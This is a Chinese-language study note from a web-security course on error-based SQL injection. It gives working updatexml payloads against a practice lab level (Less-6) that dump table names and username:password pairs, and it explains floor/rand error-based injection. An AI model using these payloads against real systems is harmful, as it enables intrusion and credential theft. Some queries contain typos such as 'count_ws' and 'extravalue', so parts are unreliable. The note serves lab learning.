小迪安全笔记-29
小迪安全笔记-29
Kn1ght第29天:WEB攻防-通用漏洞_SQL注入_增删改查_盲注_延时_布尔_报错
SQL注入
updatexml函数
须记:
查看数据库名,表名:
select group_concat(table_name) from information_schema.tables where table_schema=database())
查看列名:
select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’
查看数据:
select group_concat(username,password) from users
函数updatexml(XML_document,XPath_string,new_value)包含三个参数
一:XML_document是string格式,为XML文档对象的名称,例如Doc
二:XPath_string是路径,XPath格式的字符串
三:new_value,string格式,替换查找到的符合条件的数据
报错原理:
同extravalue(),输入错误的第二个参数,即更改路径的符号
正常句式:
select updatexml(doc,’/book/auther/surname’,’1’) from xml;
错误句式:select updatexml(doc,’~book/auther/surname’,’1’) from xml;
Less-6
根据报错,看到数据库名为 security
?id=1” and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) –+
看到列名,下一步查看数据:
?id=1” and 1=updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3) –+
成功查看数据
显示1~30字符:
?id=1” and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,’:’,password),1,30) from users)),3) –+
显示30~59字符,第30个字符为,
?id=1” and 1=updatexml(1,concat(0x7e,(select substring(group_concat(username,’:’,password),30,30) from users)),3) –+
floor报错
涉及到的函数:
rand()函数:随机返回0~1间的小数
floor()函数:小数向下取整数。向上取整数ceiling()
concat_ws()函数:将括号内数据用第一个字段连接起来
group by子句:分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
as:别名
count()函数:汇总统计数量
limit:这里用于显示指定行数
详细
select rand(); 计算结果在0~1之间
select rand()*2; 计算结果在0~2之间
select rand() from users; 根据表users的行数随机显示结果
floor()函数:小数向下取整数
concat_ws()函数:将括号内数据用第一个字段连接起来
例如:select concat_ws(‘~’,(select database()),floor(rand()*2)) from users;
as 别名,group by 分组
select concat_ws(‘~’,(select database()),floor(rand()*2)) as a from users group by a;
count()函数:汇总统计数量
select count(*),count_ws(‘~’,(select database()),floor(rand()*2)) as a from users group by a;
报错原理
select count(*),count_ws(‘~’,(select database()),floor(rand(0)*2)) as a from users group by a;
rand 函数进行分组group by 和统计count()时可能会多次执行,导致键值key重复